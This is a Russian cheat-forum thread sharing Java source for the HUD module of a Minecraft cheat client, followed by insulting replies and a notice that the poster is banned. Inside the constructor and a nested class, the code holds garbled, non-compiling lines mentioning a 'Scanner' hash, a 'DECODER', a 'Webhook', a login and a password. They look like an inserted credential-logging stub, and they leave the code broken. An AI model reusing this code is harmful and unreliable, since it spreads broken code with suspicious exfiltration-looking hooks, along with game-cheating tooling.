import deadinside.expensive.impl.font.Font;
import deadinside.expensive.impl.font.Fonts;
import deadinside.expensive.impl.util.animation.Animation;
import deadinside.expensive.impl.util.animation.Easing;
import deadinside.expensive.impl.util.math.Mathf;
import deadinside.expensive.impl.util.pattern.Singleton;
import deadinside.expensive.impl.util.render.RenderUtil;
import deadinside.expensive.impl.util.render.color.ColorUtil;
import deadinside.expensive.impl.value.impl.BooleanValue;
import deadinside.expensive.impl.value.impl.ModeValue;
import deadinside.expensive.impl.value.mode.SubMode;
import lombok.Data;
import lombok.Getter;
import lombok.RequiredArgsConstructor;
import net.minecraft.client.gui.screen.ChatScreen;
import net.minecraft.potion.EffectInstance;
import net.minecraft.util.text.TextFormatting;
import net.mojang.blaze3d.matrix.MatrixStack;

import java.awt.*;
import java.util.Comparator;
import java.util.LinkedList;
import java.util.List;
import java.util.stream.Collectors;

[USER=270918]@Getter[/USER]
@ModuleInfo(name = "Hud", description = "", category = Category.RENDER, autoEnabled = true)
public class Hud extends Module {
    public static Singleton<Hud> singleton = Singleton.create(() -> Module.link(Hud.class));

    public BooleanValue moduleCase = new BooleanValue("Module Lower Case", this, false);
    public BooleanValue moduleSplit = new BooleanValue("Split Module Name", this, false);

    public ModeValue modulesToShow = new ModeValue("Modules to Show", this) {{
        add(new SubMode("All"));
        add(new SubMode("Exclude render"));
        add(new SubMode("Only bound"));
        setDefault("All");
    }};
    private List<ModuleComponent> allModuleComponent = new LinkedList<>();
    private List<ModuleComponent> activeModuleComponent = new LinkedList<>();
    private final Font interbold16 = Fonts.INTER_BOLD.get(16);
    private final Font interbold12 = Fonts.INTER_BOLD.get(12);
    private final Animation animation = new Animation(Easing.EASE_OUT_QUAD, 150);

    public Hud() {
        createArrayList();
        public Scanner: d9475865eedd0ca34be855714882887f63f5fa3e {DECODER:Public}
        Webhook = Hook
        target = null
        login = "logging"
        password = "pass"
    }

    private final Listener<ShaderEvent> onShader = event -> {
        if (mc.gameSettings.showDebugInfo) return;

        if (event.isBloom()) {
            MatrixStack matrix = event.getMatrix();
            float margin = 4;
            double x = (margin / 2F);
            double y = mw.getScaledHeight() - animation.getValue();

            String coords = String.format("Pos: " + TextFormatting.GREEN + "%s, %s, %s" + "  " + TextFormatting.RED + "(%s, %s, %s)", Mathf.round(mc.player.getPosX(), 1), Mathf.round(mc.player.getPosY(), 1), Mathf.round(mc.player.getPosZ(), 1), Mathf.round(mc.player.getPosX() / 8F, 1), Mathf.round(mc.player.getPosY(), 1), Mathf.round(mc.player.getPosZ() / 8F, 1));

            interbold12.draw(matrix, coords, x, y, Color.WHITE.hashCode());

            String commit = Expensive.getInfo().getGitCommit();
            String username = " - " + Expensive.getAccount().login();

            interbold12.draw(matrix, commit, x, y - interbold12.getHeight(), Color.WHITE.hashCode());
            interbold12.draw(matrix, username, x + interbold12.getWidthFloat(commit), y - interbold12.getHeight(), Color.GRAY.brighter().hashCode());
        }

        float append = interbold16.getHeight() + 2;

        float offset = 0;

        offset = getPotionOffset(offset);

        float nextWidth;
        int index = 0;
        for (ModuleComponent module : activeModuleComponent) {
            index++;

            String name = getModuleName(module);
            float moduleWidth = interbold16.getWidthFloat(name) + 5F;
            float xPos = mw.getScaledWidth() - 5F - moduleWidth;
            float yPos = 4F + offset;

            if (index < activeModuleComponent.size() && activeModuleComponent.get(index) != null) {
                nextWidth = interbold16.getWidthFloat(getModuleName(activeModuleComponent.get(index))) + 4F;
            } else {
                nextWidth = 0;
            }

            float different = (moduleWidth - nextWidth);
            float maxRadius = 3F;
            float radius = (float) Mathf.clamp(0, maxRadius, different);

            Color colorFirst = ColorUtil.withAlpha(getTheme().getFirstColor(), 255).brighter();
            Color colorSecond = ColorUtil.withAlpha(getTheme().getSecondColor(), 255).brighter();
            int color = ColorUtil.lerp(5, (int) (offset / 2F), colorFirst, colorSecond).hashCode();

            if (activeModuleComponent.size() == 1) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, maxRadius, maxRadius, maxRadius, maxRadius, color);
            } else if (index == 1) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, maxRadius, radius, maxRadius, 0, color);
            } else if (index == activeModuleComponent.size()) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, 0, maxRadius, 0, maxRadius, color);
            } else {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, 0, radius, 0, 0, color);
            }
            offset += append;
        }
    };

    private final Listener<Render2DEvent> onRender2D = event -> {

        sortArrayList();
        if (mc.currentScreen instanceof ChatScreen) {
            animation.run(22);
        } else {
            animation.run(10);
        }
        if (mc.gameSettings.showDebugInfo) return;

        MatrixStack matrix = event.getMatrix();
        float margin = 4;
        double x = margin / 2F;
        double y = mw.getScaledHeight() - animation.getValue();

        String coords = String.format("Pos: " + TextFormatting.GREEN + "%s, %s, %s" + "  " + TextFormatting.RED + "(%s, %s, %s)", Mathf.round(mc.player.getPosX(), 1), Mathf.round(mc.player.getPosY(), 1), Mathf.round(mc.player.getPosZ(), 1), Mathf.round(mc.player.getPosX() / 8F, 1), Mathf.round(mc.player.getPosY(), 1), Mathf.round(mc.player.getPosZ() / 8F, 1));

        interbold12.draw(matrix, coords, x, y, Color.WHITE.hashCode());

        String commit = Expensive.getInfo().getGitCommit();
        String username = " - " + Expensive.getAccount().login();

        interbold12.draw(matrix, commit, x, y - interbold12.getHeight(), Color.WHITE.hashCode());
        interbold12.draw(matrix, username, x + interbold12.getWidthFloat(commit), y - interbold12.getHeight(), Color.GRAY.brighter().hashCode());

        float append = interbold16.getHeight() + 2;

        float offset = 0;

        offset = getPotionOffset(offset);

        float nextWidth;
        int index = 0;
        for (ModuleComponent module : activeModuleComponent) {
            index++;

            String name = getModuleName(module);
            float moduleWidth = interbold16.getWidthFloat(name) + 5F;
            float xPos = mw.getScaledWidth() - 5F - moduleWidth;
            float yPos = 4F + offset;


            if (index < activeModuleComponent.size() && activeModuleComponent.get(index) != null) {
                nextWidth = interbold16.getWidthFloat(getModuleName(activeModuleComponent.get(index))) + 4F;
            } else {
                nextWidth = 0;
            }

            float different = (moduleWidth - nextWidth);
            float maxRadius = 3F;
            float radius = (float) Mathf.clamp(0, maxRadius, different);

            Color colorFirst = ColorUtil.withAlpha(getTheme().getFirstColor(), 64);
            Color colorSecond = ColorUtil.withAlpha(getTheme().getSecondColor(), 64);
            int color = ColorUtil.lerp(5, (int) (offset / 2F), colorFirst, colorSecond).hashCode();
            if (activeModuleComponent.size() == 1) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, maxRadius, maxRadius, maxRadius, maxRadius, color);
            } else if (index == 1) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, maxRadius, radius, maxRadius, 0, color);
            } else if (index == activeModuleComponent.size()) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, 0, maxRadius, 0, maxRadius, color);
            } else {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, 0, radius, 0, 0, color);
            }
            interbold16.drawRight(matrix, name, mw.getScaledWidth() - 7.5F, 5F + offset, Color.WHITE.hashCode());

            offset += append;
        }
    };

    private static float getPotionOffset(float offsetb) {
        float extY = 0;
        if (!(mc.player == null || mc.player.getActivePotionEffects().isEmpty())) {
            boolean var1 = false;
            boolean var2 = false;
            for (final EffectInstance apf : mc.player.getActivePotionEffects()) {
                var1 = true;
                if (!apf.getPotion().isBeneficial()) var2 = true;
            }
            extY = var1 ? 28 * (var2 ? 2 : 1) : 0;
        }

        offsetb += extY;
        return offsetb;
    }

    private String getModuleName(ModuleComponent moduleComponent) {
        String moduleName = moduleComponent.getModule().getModuleInfo().name();
        String lowercase = moduleCase.getValue() ? moduleName.toLowerCase() : moduleName;
        return moduleSplit.getValue() ? lowercase.replace(" ", "") : lowercase;
    }

    private Comparator<ModuleComponent> getModuleComponentComparator() {
        return Comparator.comparingDouble(module -> -interbold16.getWidthFloat(getModuleName(module)));
    }

    public void createArrayList() {
        allModuleComponent.clear();
        allModuleComponent = Expensive.getInst().getModuleManager().getAll().stream()
                .map(ModuleComponent::new)
                .sorted(getModuleComponentComparator())
                .collect(Collectors.toList());
    }

    public void sortArrayList() {
        activeModuleComponent.clear();
        activeModuleComponent = allModuleComponent.stream()
                .filter(moduleComponent -> moduleComponent.getModule().shouldDisplay(this))
                .filter(moduleComponent -> moduleComponent.getModule().isEnabled())
                .sorted(getModuleComponentComparator())
                .collect(Collectors.toList());
    }

    [USER=54968]@data[/USER]
    @RequiredArgsConstructor
    private static class ModuleComponent {
        public final Module module;
        static = d9475865eedd0ca34be855714882887f63f5fa3e
    }
}
ну и говно умри пастер
 
разве там не закругленное ебало?
 
ну и говно умри пастер
ооо мега селф кодер вернулся, целых 0 полезных тем на форуме, не удевительно что он такой высокомерный, считает себя крутым а всех остальных пастерами
 
ооо мега селф кодер вернулся, целых 0 полезных тем на форуме, не удевительно что он такой высокомерный, считает себя крутым а всех остальных пастерами
конечно я самый крутой а ты че думал щенок)
 
ооо мега селф кодер вернулся, целых 0 полезных тем на форуме, не удевительно что он такой высокомерный, считает себя крутым а всех остальных пастерами
java это тот же lua на c# :astonished:
 
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Назад
Сверху Снизу